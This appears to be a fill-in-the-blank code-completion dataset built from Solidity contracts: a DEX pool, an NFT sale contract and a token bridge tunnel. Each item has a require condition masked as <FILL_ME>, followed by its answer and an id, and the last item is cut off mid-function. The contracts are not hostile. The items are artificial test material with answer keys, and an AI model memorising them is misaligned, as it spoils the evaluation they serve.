uint24 public immutable override fee;
/// @inheritdoc IElkDexV3PoolImmutables
int24 public immutable override tickSpacing;
/// @inheritdoc IElkDexV3PoolImmutables
uint128 public immutable override maxLiquidityPerTick;
struct Slot0 {
// the current price
uint160 sqrtPriceX96;
// the current tick
int24 tick;
// the most-recently updated index of the observations array
uint16 observationIndex;
// the current maximum number of observations that are being stored
uint16 observationCardinality;
// the next maximum number of observations to store, triggered in observations.write
uint16 observationCardinalityNext;
// the current protocol fee as a percentage of the swap fee taken on withdrawal
// represented as an integer denominator (1/x)%
uint8 feeProtocol;
// whether the pool is locked
bool unlocked;
}
/// @inheritdoc IElkDexV3PoolState
Slot0 public override slot0;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal0X128;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal1X128;
// accumulated protocol fees in token0/token1 units
struct ProtocolFees {
uint128 token0;
uint128 token1;
}
/// @inheritdoc IElkDexV3PoolState
ProtocolFees public override protocolFees;
/// @inheritdoc IElkDexV3PoolState
uint128 public override liquidity;
/// @inheritdoc IElkDexV3PoolState
mapping(int24 => Tick.Info) public override ticks;
/// @inheritdoc IElkDexV3PoolState
mapping(int16 => uint256) public override tickBitmap;
/// @inheritdoc IElkDexV3PoolState
mapping(bytes32 => Position.Info) public override positions;
/// @inheritdoc IElkDexV3PoolState
Oracle.Observation[65535] public override observations;
/// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance
/// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because
/// we use balance checks to determine the payment status of interactions such as mint, swap and flash.
modifier lock() {
}
/// @dev Prevents calling a function from anyone except the address returned by IElkDexV3Factory#owner()
modifier onlyFactoryOwner() {
}
constructor() {
}
/// @dev Common checks for valid tick inputs.
function checkTicks(int24 tickLower, int24 tickUpper) private pure {
}
/// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.
function _blockTimestamp() internal view virtual returns (uint32) {
}
/// @dev Get the pool's balance of token0
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance0() private view returns (uint256) {
}
/// @dev Get the pool's balance of token1
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance1() private view returns (uint256) {
}
/// @inheritdoc IElkDexV3PoolDerivedState
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
override
noDelegateCall
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
)
{
}
/// @inheritdoc IElkDexV3PoolDerivedState
function observe(uint32[] calldata secondsAgos)
external
view
override
noDelegateCall
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)
{
}
/// @inheritdoc IElkDexV3PoolActions
function increaseObservationCardinalityNext(uint16 observationCardinalityNext)
external
override
lock
noDelegateCall
{
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev not locked because it initializes unlocked
function initialize(uint160 sqrtPriceX96) external override {
}
struct ModifyPositionParams {
// the address that owns the position
address owner;
// the lower and upper tick of the position
int24 tickLower;
int24 tickUpper;
// any change in liquidity
int128 liquidityDelta;
}
/// @dev Effect some changes to a position
/// @param params the position details and the change to the position's liquidity to effect
/// @return position a storage pointer referencing the position with the given owner and tick range
/// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient
/// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient
function _modifyPosition(ModifyPositionParams memory params)
private
noDelegateCall
returns (
Position.Info storage position,
int256 amount0,
int256 amount1
)
{
}
/// @dev Gets and updates a position with the given liquidity delta
/// @param owner the owner of the position
/// @param tickLower the lower tick of the position's tick range
/// @param tickUpper the upper tick of the position's tick range
/// @param tick the current tick, passed to avoid sloads
function _updatePosition(
address owner,
int24 tickLower,
int24 tickUpper,
int128 liquidityDelta,
int24 tick
) private returns (Position.Info storage position) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external override lock returns (uint256 amount0, uint256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock returns (uint128 amount0, uint128 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external override lock returns (uint256 amount0, uint256 amount1) {
}
struct SwapCache {
// the protocol fee for the input token
uint8 feeProtocol;
// liquidity at the beginning of the swap
uint128 liquidityStart;
// the timestamp of the current block
uint32 blockTimestamp;
// the current value of the tick accumulator, computed only if we cross an initialized tick
int56 tickCumulative;
// the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick
uint160 secondsPerLiquidityCumulativeX128;
// whether we've computed and cached the above two accumulators
bool computedLatestObservation;
}
// the top level state of the swap, the results of which are recorded in storage at the end
struct SwapState {
// the amount remaining to be swapped in/out of the input/output asset
int256 amountSpecifiedRemaining;
// the amount already swapped out/in of the output/input asset
int256 amountCalculated;
// current sqrt(price)
uint160 sqrtPriceX96;
// the tick associated with the current price
int24 tick;
// the global fee growth of the input token
uint256 feeGrowthGlobalX128;
// amount of input token paid as protocol fee
uint128 protocolFee;
// the current liquidity in range
uint128 liquidity;
}
struct StepComputations {
// the price at the beginning of the step
uint160 sqrtPriceStartX96;
// the next tick to swap to from the current tick in the swap direction
int24 tickNext;
// whether tickNext is initialized or not
bool initialized;
// sqrt(price) for the next tick (1/0)
uint160 sqrtPriceNextX96;
// how much is being swapped in in this step
uint256 amountIn;
// how much is being swapped out
uint256 amountOut;
// how much fee is being paid in
uint256 feeAmount;
}
/// @inheritdoc IElkDexV3PoolActions
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external override noDelegateCall returns (int256 amount0, int256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override lock noDelegateCall {
uint128 _liquidity = liquidity;
require(_liquidity > 0, 'L');
uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e6);
uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e6);
uint256 balance0Before = balance0();
uint256 balance1Before = balance1();
if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0);
if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1);
IElkDexV3FlashCallback(msg.sender).elkDexV3FlashCallback(fee0, fee1, data);
uint256 balance0After = balance0();
uint256 balance1After = balance1();
require(balance0Before.add(fee0) <= balance0After, 'F0');
require(<FILL_ME>)
// sub is safe because we know balanceAfter is gt balanceBefore by at least fee
uint256 paid0 = balance0After - balance0Before;
uint256 paid1 = balance1After - balance1Before;
if (paid0 > 0) {
uint8 feeProtocol0 = slot0.feeProtocol % 16;
uint256 fees0 = feeProtocol0 == 0 ? 0 : paid0 / feeProtocol0;
if (uint128(fees0) > 0) protocolFees.token0 += uint128(fees0);
feeGrowthGlobal0X128 += FullMath.mulDiv(paid0 - fees0, FixedPoint128.Q128, _liquidity);
}
if (paid1 > 0) {
uint8 feeProtocol1 = slot0.feeProtocol >> 4;
uint256 fees1 = feeProtocol1 == 0 ? 0 : paid1 / feeProtocol1;
if (uint128(fees1) > 0) protocolFees.token1 += uint128(fees1);
feeGrowthGlobal1X128 += FullMath.mulDiv(paid1 - fees1, FixedPoint128.Q128, _liquidity);
}
emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {
}
}
| balance1Before.add(fee1)<=balance1After,'F1' | 108,689 | balance1Before.add(fee1)<=balance1After |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
import './interfaces/IElkDexV3Pool.sol';
import './NoDelegateCall.sol';
import './libraries/LowGasSafeMath.sol';
import './libraries/SafeCast.sol';
import './libraries/Tick.sol';
import './libraries/TickBitmap.sol';
import './libraries/Position.sol';
import './libraries/Oracle.sol';
import './libraries/FullMath.sol';
import './libraries/FixedPoint128.sol';
import './libraries/TransferHelper.sol';
import './libraries/TickMath.sol';
import './libraries/LiquidityMath.sol';
import './libraries/SqrtPriceMath.sol';
import './libraries/SwapMath.sol';
import './interfaces/IElkDexV3PoolDeployer.sol';
import './interfaces/IElkDexV3Factory.sol';
import './interfaces/IERC20Minimal.sol';
import './interfaces/callback/IElkDexV3MintCallback.sol';
import './interfaces/callback/IElkDexV3SwapCallback.sol';
import './interfaces/callback/IElkDexV3FlashCallback.sol';
contract ElkDexV3Pool is IElkDexV3Pool, NoDelegateCall {
using LowGasSafeMath for uint256;
using LowGasSafeMath for int256;
using SafeCast for uint256;
using SafeCast for int256;
using Tick for mapping(int24 => Tick.Info);
using TickBitmap for mapping(int16 => uint256);
using Position for mapping(bytes32 => Position.Info);
using Position for Position.Info;
using Oracle for Oracle.Observation[65535];
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override factory;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token0;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token1;
/// @inheritdoc IElkDexV3PoolImmutables
uint24 public immutable override fee;
/// @inheritdoc IElkDexV3PoolImmutables
int24 public immutable override tickSpacing;
/// @inheritdoc IElkDexV3PoolImmutables
uint128 public immutable override maxLiquidityPerTick;
struct Slot0 {
// the current price
uint160 sqrtPriceX96;
// the current tick
int24 tick;
// the most-recently updated index of the observations array
uint16 observationIndex;
// the current maximum number of observations that are being stored
uint16 observationCardinality;
// the next maximum number of observations to store, triggered in observations.write
uint16 observationCardinalityNext;
// the current protocol fee as a percentage of the swap fee taken on withdrawal
// represented as an integer denominator (1/x)%
uint8 feeProtocol;
// whether the pool is locked
bool unlocked;
}
/// @inheritdoc IElkDexV3PoolState
Slot0 public override slot0;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal0X128;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal1X128;
// accumulated protocol fees in token0/token1 units
struct ProtocolFees {
uint128 token0;
uint128 token1;
}
/// @inheritdoc IElkDexV3PoolState
ProtocolFees public override protocolFees;
/// @inheritdoc IElkDexV3PoolState
uint128 public override liquidity;
/// @inheritdoc IElkDexV3PoolState
mapping(int24 => Tick.Info) public override ticks;
/// @inheritdoc IElkDexV3PoolState
mapping(int16 => uint256) public override tickBitmap;
/// @inheritdoc IElkDexV3PoolState
mapping(bytes32 => Position.Info) public override positions;
/// @inheritdoc IElkDexV3PoolState
Oracle.Observation[65535] public override observations;
/// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance
/// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because
/// we use balance checks to determine the payment status of interactions such as mint, swap and flash.
modifier lock() {
}
/// @dev Prevents calling a function from anyone except the address returned by IElkDexV3Factory#owner()
modifier onlyFactoryOwner() {
}
constructor() {
}
/// @dev Common checks for valid tick inputs.
function checkTicks(int24 tickLower, int24 tickUpper) private pure {
}
/// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.
function _blockTimestamp() internal view virtual returns (uint32) {
}
/// @dev Get the pool's balance of token0
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance0() private view returns (uint256) {
}
/// @dev Get the pool's balance of token1
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance1() private view returns (uint256) {
}
/// @inheritdoc IElkDexV3PoolDerivedState
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
override
noDelegateCall
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
)
{
}
/// @inheritdoc IElkDexV3PoolDerivedState
function observe(uint32[] calldata secondsAgos)
external
view
override
noDelegateCall
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)
{
}
/// @inheritdoc IElkDexV3PoolActions
function increaseObservationCardinalityNext(uint16 observationCardinalityNext)
external
override
lock
noDelegateCall
{
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev not locked because it initializes unlocked
function initialize(uint160 sqrtPriceX96) external override {
}
struct ModifyPositionParams {
// the address that owns the position
address owner;
// the lower and upper tick of the position
int24 tickLower;
int24 tickUpper;
// any change in liquidity
int128 liquidityDelta;
}
/// @dev Effect some changes to a position
/// @param params the position details and the change to the position's liquidity to effect
/// @return position a storage pointer referencing the position with the given owner and tick range
/// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient
/// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient
function _modifyPosition(ModifyPositionParams memory params)
private
noDelegateCall
returns (
Position.Info storage position,
int256 amount0,
int256 amount1
)
{
}
/// @dev Gets and updates a position with the given liquidity delta
/// @param owner the owner of the position
/// @param tickLower the lower tick of the position's tick range
/// @param tickUpper the upper tick of the position's tick range
/// @param tick the current tick, passed to avoid sloads
function _updatePosition(
address owner,
int24 tickLower,
int24 tickUpper,
int128 liquidityDelta,
int24 tick
) private returns (Position.Info storage position) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external override lock returns (uint256 amount0, uint256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock returns (uint128 amount0, uint128 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external override lock returns (uint256 amount0, uint256 amount1) {
}
struct SwapCache {
// the protocol fee for the input token
uint8 feeProtocol;
// liquidity at the beginning of the swap
uint128 liquidityStart;
// the timestamp of the current block
uint32 blockTimestamp;
// the current value of the tick accumulator, computed only if we cross an initialized tick
int56 tickCumulative;
// the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick
uint160 secondsPerLiquidityCumulativeX128;
// whether we've computed and cached the above two accumulators
bool computedLatestObservation;
}
// the top level state of the swap, the results of which are recorded in storage at the end
struct SwapState {
// the amount remaining to be swapped in/out of the input/output asset
int256 amountSpecifiedRemaining;
// the amount already swapped out/in of the output/input asset
int256 amountCalculated;
// current sqrt(price)
uint160 sqrtPriceX96;
// the tick associated with the current price
int24 tick;
// the global fee growth of the input token
uint256 feeGrowthGlobalX128;
// amount of input token paid as protocol fee
uint128 protocolFee;
// the current liquidity in range
uint128 liquidity;
}
struct StepComputations {
// the price at the beginning of the step
uint160 sqrtPriceStartX96;
// the next tick to swap to from the current tick in the swap direction
int24 tickNext;
// whether tickNext is initialized or not
bool initialized;
// sqrt(price) for the next tick (1/0)
uint160 sqrtPriceNextX96;
// how much is being swapped in in this step
uint256 amountIn;
// how much is being swapped out
uint256 amountOut;
// how much fee is being paid in
uint256 feeAmount;
}
/// @inheritdoc IElkDexV3PoolActions
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external override noDelegateCall returns (int256 amount0, int256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override lock noDelegateCall {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {
require(<FILL_ME>)
uint8 feeProtocolOld = slot0.feeProtocol;
slot0.feeProtocol = feeProtocol0 + (feeProtocol1 << 4);
emit SetFeeProtocol(feeProtocolOld % 16, feeProtocolOld >> 4, feeProtocol0, feeProtocol1);
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {
}
}
| (feeProtocol0==0||(feeProtocol0>=4&&feeProtocol0<=10))&&(feeProtocol1==0||(feeProtocol1>=4&&feeProtocol1<=10)) | 108,689 | (feeProtocol0==0||(feeProtocol0>=4&&feeProtocol0<=10))&&(feeProtocol1==0||(feeProtocol1>=4&&feeProtocol1<=10)) |
"Sale ended" | pragma solidity ^0.8.0;
contract VanGoghLesVessenotsToken is
ERC721,
ERC721Enumerable,
Pausable,
Ownable,
ERC721Burnable
{
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
bool private whitelist;
bool private sale;
uint256 private price;
uint256 private maxMint;
uint256 private maxSale;
uint256 public constant maxItems = 100;
address public constant devAddress = 0x8F56A8b7cE3f90F527C06c2c232F95bC59dDA792;
string public baseTokenURI;
mapping(address => bool) private _presaleList;
mapping(address => uint256) private _presaleListClaimed;
event CreateNft(uint256 indexed id);
constructor(
string memory baseURI
) ERC721("VAN GOGH-LES VESSENOTS EN AUVERS", "VANGOGH") {
}
modifier saleIsOpen() {
require(<FILL_ME>)
if (_msgSender() != owner()) {
require(!paused(), "Pausable: paused");
}
_;
}
function _totalSupply() internal view returns (uint) {
}
function totalMint() public view returns (uint256) {
}
function mintReserve(uint256 _count, address _to) public onlyOwner {
}
function mintOly(address _to, uint256 _count) public payable saleIsOpen {
}
function _mintAnElement(address _to) private {
}
function getPrice(uint256 _count) public view returns (uint256) {
}
function setMaxMint(uint256 _maxMint) external onlyOwner {
}
function setMaxSale(uint256 _maxSale) external onlyOwner {
}
function setPrice(uint256 _priceInWei) external onlyOwner {
}
function addToPresaleList(address[] calldata addresses) external onlyOwner {
}
function onPresaleList(address addr) external view returns (bool) {
}
function removeFromPresaleList(
address[] calldata addresses
) external onlyOwner {
}
function presaleListClaimedBy(
address owner
) external view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function walletOfOwner(
address _owner
) external view returns (uint256[] memory) {
}
function pause(bool val) public onlyOwner {
}
function whitelistActive() external view returns (bool) {
}
function saleActive() external view returns (bool) {
}
function toggleWhitelist() public onlyOwner {
}
function toggleSale() public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
function _payout(address _address, uint256 _amount) private {
}
// Para solidity hay que sobreescribir la funcion _beforeTokenTransfer ( No modificar )
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256 batchSize
) internal override(ERC721, ERC721Enumerable) whenNotPaused {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| _totalSupply()<=maxItems,"Sale ended" | 108,785 | _totalSupply()<=maxItems |
"Max limit" | pragma solidity ^0.8.0;
contract VanGoghLesVessenotsToken is
ERC721,
ERC721Enumerable,
Pausable,
Ownable,
ERC721Burnable
{
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
bool private whitelist;
bool private sale;
uint256 private price;
uint256 private maxMint;
uint256 private maxSale;
uint256 public constant maxItems = 100;
address public constant devAddress = 0x8F56A8b7cE3f90F527C06c2c232F95bC59dDA792;
string public baseTokenURI;
mapping(address => bool) private _presaleList;
mapping(address => uint256) private _presaleListClaimed;
event CreateNft(uint256 indexed id);
constructor(
string memory baseURI
) ERC721("VAN GOGH-LES VESSENOTS EN AUVERS", "VANGOGH") {
}
modifier saleIsOpen() {
}
function _totalSupply() internal view returns (uint) {
}
function totalMint() public view returns (uint256) {
}
function mintReserve(uint256 _count, address _to) public onlyOwner {
uint256 total = _totalSupply();
require(total <= maxItems, "Sale ended");
require(<FILL_ME>)
for (uint256 i = 0; i < _count; i++) {
_mintAnElement(_to);
}
}
function mintOly(address _to, uint256 _count) public payable saleIsOpen {
}
function _mintAnElement(address _to) private {
}
function getPrice(uint256 _count) public view returns (uint256) {
}
function setMaxMint(uint256 _maxMint) external onlyOwner {
}
function setMaxSale(uint256 _maxSale) external onlyOwner {
}
function setPrice(uint256 _priceInWei) external onlyOwner {
}
function addToPresaleList(address[] calldata addresses) external onlyOwner {
}
function onPresaleList(address addr) external view returns (bool) {
}
function removeFromPresaleList(
address[] calldata addresses
) external onlyOwner {
}
function presaleListClaimedBy(
address owner
) external view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function walletOfOwner(
address _owner
) external view returns (uint256[] memory) {
}
function pause(bool val) public onlyOwner {
}
function whitelistActive() external view returns (bool) {
}
function saleActive() external view returns (bool) {
}
function toggleWhitelist() public onlyOwner {
}
function toggleSale() public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
function _payout(address _address, uint256 _amount) private {
}
// Para solidity hay que sobreescribir la funcion _beforeTokenTransfer ( No modificar )
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256 batchSize
) internal override(ERC721, ERC721Enumerable) whenNotPaused {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| total+_count<=maxItems,"Max limit" | 108,785 | total+_count<=maxItems |
"Max sale limit" | pragma solidity ^0.8.0;
contract VanGoghLesVessenotsToken is
ERC721,
ERC721Enumerable,
Pausable,
Ownable,
ERC721Burnable
{
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
bool private whitelist;
bool private sale;
uint256 private price;
uint256 private maxMint;
uint256 private maxSale;
uint256 public constant maxItems = 100;
address public constant devAddress = 0x8F56A8b7cE3f90F527C06c2c232F95bC59dDA792;
string public baseTokenURI;
mapping(address => bool) private _presaleList;
mapping(address => uint256) private _presaleListClaimed;
event CreateNft(uint256 indexed id);
constructor(
string memory baseURI
) ERC721("VAN GOGH-LES VESSENOTS EN AUVERS", "VANGOGH") {
}
modifier saleIsOpen() {
}
function _totalSupply() internal view returns (uint) {
}
function totalMint() public view returns (uint256) {
}
function mintReserve(uint256 _count, address _to) public onlyOwner {
}
function mintOly(address _to, uint256 _count) public payable saleIsOpen {
uint256 total = _totalSupply();
require(total <= maxItems, "Max limit");
require(total + _count <= maxItems, "Max limit");
require(<FILL_ME>)
require(sale, "Sale is not active");
require(msg.value >= getPrice(_count), "Value below price");
if (whitelist == true) {
require(_presaleList[_to], "You are not on the whitelist");
}
for (uint256 i = 0; i < _count; i++) {
_mintAnElement(_to);
}
}
function _mintAnElement(address _to) private {
}
function getPrice(uint256 _count) public view returns (uint256) {
}
function setMaxMint(uint256 _maxMint) external onlyOwner {
}
function setMaxSale(uint256 _maxSale) external onlyOwner {
}
function setPrice(uint256 _priceInWei) external onlyOwner {
}
function addToPresaleList(address[] calldata addresses) external onlyOwner {
}
function onPresaleList(address addr) external view returns (bool) {
}
function removeFromPresaleList(
address[] calldata addresses
) external onlyOwner {
}
function presaleListClaimedBy(
address owner
) external view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function walletOfOwner(
address _owner
) external view returns (uint256[] memory) {
}
function pause(bool val) public onlyOwner {
}
function whitelistActive() external view returns (bool) {
}
function saleActive() external view returns (bool) {
}
function toggleWhitelist() public onlyOwner {
}
function toggleSale() public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
function _payout(address _address, uint256 _amount) private {
}
// Para solidity hay que sobreescribir la funcion _beforeTokenTransfer ( No modificar )
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256 batchSize
) internal override(ERC721, ERC721Enumerable) whenNotPaused {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| total+_count<=maxSale,"Max sale limit" | 108,785 | total+_count<=maxSale |
"FxMintableERC20RootTunnel: NO_MAPPING_FOUND" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Create2} from "../../lib/Create2.sol";
import {SafeMath} from "../../lib/SafeMath.sol";
import {FxERC20} from "../../wof_token/wof_token.sol";
import {FxBaseRootTunnel} from "../../tunnel/FxBaseRootTunnel.sol";
import {SafeERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title FxMintableERC20RootTunnel
*/
interface IWorldOfFreight {
function balanceOG(address _user) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function mintedcount() external view returns (uint256);
}
contract FxMintableERC20RootTunnel is FxBaseRootTunnel, Create2 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// maybe DEPOSIT and MAP_TOKEN can be reduced to bytes4
bytes32 public constant DEPOSIT = keccak256("DEPOSIT");
bytes32 public constant SYNC = keccak256("SYNC");
address public deployer;
mapping(address => address) public rootToChildTokens;
address public rootTokenTemplate;
bytes32 public childTokenTemplateCodeHash;
event ClaimOnPoly(address indexed _from, uint256 _amount);
//NFT CONTRACT DATA
address public _garageContract;
address public _racingContract;
uint256 public BASE_RATE = 25000000000000000000;
uint256 public maxSupply = 912500000;
uint256 public ENDTIME = 1664582400;
uint256 public snapshotTime;
IWorldOfFreight public nftContract;
mapping(address => uint256) public rewards;
mapping(address => uint256) public lastUpdate;
address public deployedRoot;
constructor(
address _checkpointManager,
address _fxRoot,
address _rootTokenTemplate,
address _wofAddress
) FxBaseRootTunnel(_checkpointManager, _fxRoot) {
}
function deposit(
address rootToken,
address user,
uint256 amount,
bytes memory data
) public {
// map token if not mapped
require(<FILL_ME>)
// transfer from depositor to this contract
IERC20(rootToken).safeTransferFrom(
msg.sender, // depositor
address(this), // manager contract
amount
);
// DEPOSIT, encode(rootToken, depositor, user, amount, extra data)
bytes memory message = abi.encode(DEPOSIT, abi.encode(rootToken, msg.sender, user, amount, data));
_sendMessageToChild(message);
}
// exit processor
function _processMessageFromChild(bytes memory data) internal override {
}
function _deployRootToken(
address childToken,
string memory name,
string memory symbol,
uint8 decimals
) internal returns (address) {
}
// check if address is contract
function _isContract(address _addr) private view returns (bool) {
}
function setGarageContract(address contractAddress) public {
}
function setRacingContract(address contractAddress) public {
}
function setNftContract(address _address) public {
}
//GET BALANCE FOR SINGLE TOKEN
function getClaimable(address _owner) public view returns (uint256) {
}
function rewardOnMint(address _user, uint256 _amount) external {
}
function transferTokens(address _from, address _to) external {
}
function sendClaimable(bytes memory data) public {
}
function removeClaimableTokens(address _user, uint256 _amount) internal {
}
//BUY UPGRADES
function useTokens(
address _from,
uint256 _amount,
address rootToken
) external {
}
function burnTokens(
address _from,
uint256 _amount,
address rootToken
) external {
}
struct Rewardees {
address owner;
}
function setLastUpdate(Rewardees[] memory _array) public {
}
function mintTokens(uint256 _amount, address rootToken) public {
}
}
| rootToChildTokens[rootToken]!=address(0x0),"FxMintableERC20RootTunnel: NO_MAPPING_FOUND" | 108,786 | rootToChildTokens[rootToken]!=address(0x0) |
"FxERC20RootTunnel: INVALID_MAPPING_ON_EXIT" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Create2} from "../../lib/Create2.sol";
import {SafeMath} from "../../lib/SafeMath.sol";
import {FxERC20} from "../../wof_token/wof_token.sol";
import {FxBaseRootTunnel} from "../../tunnel/FxBaseRootTunnel.sol";
import {SafeERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title FxMintableERC20RootTunnel
*/
interface IWorldOfFreight {
function balanceOG(address _user) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function mintedcount() external view returns (uint256);
}
contract FxMintableERC20RootTunnel is FxBaseRootTunnel, Create2 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// maybe DEPOSIT and MAP_TOKEN can be reduced to bytes4
bytes32 public constant DEPOSIT = keccak256("DEPOSIT");
bytes32 public constant SYNC = keccak256("SYNC");
address public deployer;
mapping(address => address) public rootToChildTokens;
address public rootTokenTemplate;
bytes32 public childTokenTemplateCodeHash;
event ClaimOnPoly(address indexed _from, uint256 _amount);
//NFT CONTRACT DATA
address public _garageContract;
address public _racingContract;
uint256 public BASE_RATE = 25000000000000000000;
uint256 public maxSupply = 912500000;
uint256 public ENDTIME = 1664582400;
uint256 public snapshotTime;
IWorldOfFreight public nftContract;
mapping(address => uint256) public rewards;
mapping(address => uint256) public lastUpdate;
address public deployedRoot;
constructor(
address _checkpointManager,
address _fxRoot,
address _rootTokenTemplate,
address _wofAddress
) FxBaseRootTunnel(_checkpointManager, _fxRoot) {
}
function deposit(
address rootToken,
address user,
uint256 amount,
bytes memory data
) public {
}
// exit processor
function _processMessageFromChild(bytes memory data) internal override {
(address rootToken, address childToken, address to, uint256 amount, bytes memory metaData) = abi.decode(
data,
(address, address, address, uint256, bytes)
);
// if root token is not available, create it
if (!_isContract(rootToken) && rootToChildTokens[rootToken] == address(0x0)) {
(string memory name, string memory symbol, uint8 decimals) = abi.decode(metaData, (string, string, uint8));
address _createdToken = _deployRootToken(childToken, name, symbol, decimals);
require(_createdToken == rootToken, "FxMintableERC20RootTunnel: ROOT_TOKEN_CREATION_MISMATCH");
}
// validate mapping for root to child
require(<FILL_ME>)
// check if current balance for token is less than amount,
// mint remaining amount for this address
FxERC20 tokenObj = FxERC20(rootToken);
uint256 balanceOf = tokenObj.balanceOf(address(this));
if (balanceOf < amount) {
